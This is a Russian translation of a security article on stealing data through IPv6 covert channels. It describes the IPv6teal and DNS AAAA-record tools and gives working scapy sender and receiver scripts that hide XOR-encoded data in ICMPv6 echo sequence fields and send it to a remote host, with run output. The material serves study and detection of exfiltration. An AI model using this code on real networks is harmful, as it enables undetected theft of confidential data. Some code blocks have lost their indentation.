Кража данных через IPv6 (перевод)

Тестирование возможностей IPv6 и того, как вредоносное ПО может им воспользоваться.

Что такое эксфильтрация?

Эксфильтрация — это несанкционированный экспорт конфиденциальных данных из сети путем подключения к внешнему адресату и/или использования скрытых каналов. Последний обычно используется для кражи информации, оставаясь незамеченной, или для избежания каких-либо мер по остановке миграции данных. По этой теме проводились многочисленные исследования, и даже по сей день кража данных в результате взлома всегда находится в центре внимания.

Для эксфильтрации данных обычно используются сетевой и транспортный уровни (показанные на рисунке 1), а также низкоуровневые уровни, которые потребуют глубокой проверки пакетов для поиска происшествий или определения того, что происходит при эксфильтрации. Они также предоставляют поля и части данных в заголовках пакетов, которые обычно не используются или обнуляются. Эти разделы могут использоваться для хранения частей данных и могут оставаться незамеченными при анализе захваченных пакетов.

osi model
Рисунок 1. Модель OSI и описание ее слоев. Слои 3 и 4 выделены светло-оранжевым и желтым цветом соответственно. (Источник: Википедия)

Инструменты для получения данных

Существует несколько инструментов для эксфильтрации через сетевой стек IPv6. Мы опишем IPv6teal и IPv6DNSExfil и то, как эти инструменты используются для эксфильтрации данных через IPv6.

IPv6teal

IPv6teal состоит из скрипта получателя и отправителя (эксфильтрации). Этот инструмент использует flow метки, которые используются для обозначения последовательности пакетов и имеют фиксированный размер 20 бит (подробно на рис.2). Он использует это конкретное поле, потому что оно может изменятся и содержать настраиваемые биты, не влияя на то, что пакет достигает места назначения. Эта деталь является хорошим кандидатом для хранения данных, которые могут безопасно достигать конечной точки, будучи скрытыми в обычном трафике.

ipv6 packet with flow label
Рис. 2. Структура заголовка пакета IPv6 с полем Flow Label (отмечено красным). (Источник: Википедия)

Чтобы уместить больше данных в меньшее количество пакетов, автор решил использовать сжатие GZIP. В наших тестах на отправку через Интернет простого текстового файла, содержащего строку THISISASECRET, потребовалось около двух секунд и 15 пакетов. Информация передается с magic значением, которое отмечает начало и конец потока данных. Эти magic значения также добавляют дополнительную информацию о передаваемых данных.

Поток пакетов для нашего теста в итоге строится следующим образом:

Пакеты построены на двух верхних уровнях: уровне IPv6 и «raw» уровне, который представляет собой только данные, добавленные к последнему уровню. Raw уровень содержит magic значения, обсуждавшиеся ранее, и сообщает получателю, когда начинается передача, сколько бит будет передано и сколько пакетов будет передано, не считая пакета, заканчивающего передачу.

Другой метод эксфильтрации на более высоком уровне модели OSI выполняется через записи DNS AAAA. AAAA записи были разработаны для использования с адресами IPv6. Когда клиент запрашивает IPv6-адрес домена, он будет использовать эту запись, чтобы получить ее от DNS-сервера. Хотя для этого обычно использовались записи TXT, поскольку они могут содержать данные как для человека, так и для машинного чтения, запросы к записям TXT менее распространены и могут быть быстро обнаружены во время исследования сетевого потока.

IPv6DNSExfil

Такие инструменты, как IPv6DNSExfil, используют этот метод для хранения секрета в формате псевдо-IPv6-адреса в течение короткого периода времени в записях AAAA. Он использует инструмент nsupdate для динамического создания упомянутых записей AAAA и передачи их на вышестоящий DNS-сервер, таким образом, удаляя информацию. Запись, созданная таким образом с использованием того же секрета, который мы использовали ранее, будет выглядеть так:

После того, как запись установлена, злоумышленники могут использовать эти данные по своему усмотрению, либо используя их в качестве C&C ( как предлагает автор ), либо просто передавая информацию от одной конечной точки к другой с помощью DNS-запросов к этому конкретному серверу.

Пользовательские методы эксфильтрации

Такие библиотеки, как scapy для Python, упрощают разработчикам взаимодействие с сетевыми абстракциями на более высоком уровне. Например, всего с двумя строчками кода мы можем отправить созданный пакет в конечную точку IPv6:

% sudo python3
Python 3.5.2 (default, Jul 10 2019, 11:58:48)
[GCC 5.4.0 20160609] on linux
Type «help», «copyright», «credits» or «license» for more information.
>>> from scapy.all import IPv6,Raw,send
>>> send(IPv6(dst=«XXXX:XXX:X:1662:7a8a:20ff:fe43:93d4»)/Raw(load=«test»))
.
Sent 1 packets.

Проснифив другую конечную точку, мы видим, что пакет достигает пункта назначения с дополнительным необработанным слоем, в который мы включили строку «test»:

 tcpdump -s0 -l -X -i eth0 ‘ip6 and not icmp6’
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
23:47:15.996483 IP6 XXXX:XXX:X:1663::1ce > XXXX:XXX:X:1662:7a8a:20ff:fe43:93d4: no next header
0x0000:  6000 0000 0004 3b3e XXXX XXXX XXXX 1663  `…..;>…….c
0x0010:  0000 0000 0000 01ce XXXX XXXX XXXX 1662  ……………b
0x0020:  7a8a 20ff fe43 93d4 7465 7374 0000       z….C..test..

Используя тот же подход, мы можем начать генерировать трафик динамически, используя scapy, вместо того, чтобы просто отправлять пакеты без верхнего транспортного уровня. В одном случае будет использоваться протокол ICMPv6 , который является улучшенной версией своего родственника IPv4. «Классический» метод эксфильтрации, использующий этот протокол, заключается в использовании сообщений эха и ответа (обычно используемых сетевым инструментом ping6 ) для отправки данных за пределы сети без установления соединения, такого как TCP. Таким образом, мы можем отправлять определенные фрагменты данных по IPv6 через эхо-запросы ICMPv6 на удаленный хост, отслеживающий сеть. Взгляните на этот код, например:

from scapy.all import IPv6,ICMPv6EchoRequest,send
import sys
secret   = «THISISASECRET» # hidden info stored in the packet
endpoint = sys.argv[1] # addr where are we sending the data
taken from a random ping6 packet
        0x0030:  1e38 2c5f 0000 0000 4434 0100 0000 0000  .8,_….D4……
        0x0040:  1011 1213 1415 1617 1819 1a1b 1c1d 1e1f  …………….
        0x0050:  2021 2223 2425 2627 2829 2a2b 2c2d 2e2f  .!»#$%&'()*+,-./
        0x0060:  3031 3233 3435 3637                      01234567
data =  «\x1e\x38\x2c\x5f\x00\x00\x00\x00\x44\x34\x01\x00\x00\x00\x00\x00»
\         «\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f»
\         «\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f»
\         «\x30\x31\x32\x33\x34\x35\x36\x37»
def sendpkt(d):
if len(d) == 2:
seq = (ord(d[0])<<8) + ord(d[1])
else:
seq = ord(d)
   send(IPv6(dst=endpoint)/ICMPv6EchoRequest(id=0x1337,seq=seq, data=data))
encrypt data with key 0x17
xor = lambda x: ».join([ chr(ord(c)^0x17) for c in x])
i=0
for b in range(0, len(secret), 2):
sendpkt(xor(secret[b:b+2]))

Этот скрипт будет использовать секретную строку, которую мы отправляли ранее, зашифрует ее с помощью шифра XOR и отправит каждые два байта этой секретной зашифрованной строки через эхо-запрос ICMPv6 с определенным идентификатором. Эти два байта скрыты в поле последовательности, которое является коротким целочисленным полем, и могут быть расшифрованы получателем. Кроме того, мы настраиваем пакет с определенным идентификатором (в данном случае 0x1337), потому что мы хотим легко распознать пакет как один из наших среди потока сетевого трафика. Итак, пришлем секрет!

% sudo python3 ipv6_icmp6_exfil.py XXXX:XXX:X:1663::1ce
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.

С другой стороны будет приемник. Получатель проверяет идентификатор эхо-запроса ICMPv6 и, если он совпадает, декодирует данные, отправляемые через поле последовательности. Код выглядит так:

from scapy.all import sniff,IPv6,ICMPv6EchoRequest
import sys
xor = lambda x: chr(x ^ 0x17)
def pkt(p):
   if ‘ICMPv6EchoRequest’ in p and p[‘ICMPv6EchoRequest’].id == 0x1337:
s = p[‘ICMPv6EchoRequest’].seq
print(xor((s & 0xff00)>>8) + xor(s & 0xff), end=»)
sys.stdout.flush()
sniff(filter=»ip6 and icmp6″, prn=pkt)

После его запуска скрипт будет прослушивать сеть, в частности, на предмет пакетов IPv6 и ICMPv6. Этот сетевой анализ основан на фильтрах tcpdump, которые будут обрабатывать пакеты, которые могут быть нам интересны. Как только пакет захвачен, он обрабатывается функцией pkt (), которая проверяет идентификатор ICMPv6, и если он совпадает с идентификатором, который мы ищем, он расшифровывает информацию и выводит ее на экран:

% sudo python3 ipv6_icmp6_recv.py
THISISASECRET

Проще этот процесс можно объяснить с помощью следующего потокового графа:

packet_decrypt
Рисунок 3. Пакеты с зашифрованными данными в поле последовательности принимаются и расшифровываются.

Выделенное здесь доказательство концепции заняло то же время, что и, например, IPv6teal с 2 секундами для передачи секретной строки и имитации (почти) нормального ICMPv6, создаваемого ping6 . Мы провели тест с 1 килобайтом данных, которые должны быть переданы с использованием этой техники через Интернет, и на выполнение задачи потребовалось 8 минут 42 секунды .

В итоге

Популярность IPv6 растет, а также растет потребность в большем адресном пространстве. Хотя процент внедрения IPv6 во всем мире ниже 35% в основном потому, что он по-прежнему требует больших усилий и инвестиций от компаний и организаций. Это означает, что инструменты и методы, продемонстрированные в этой статье, потребуют времени для полного внедрения или использования, оставляя место для дальнейшей разработки новых идей и методологий.

Источник

0 0 голос
Рейтинг статьи
Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии
0
Оставьте комментарий! Напишите, что думаете по поводу статьи.x
()
x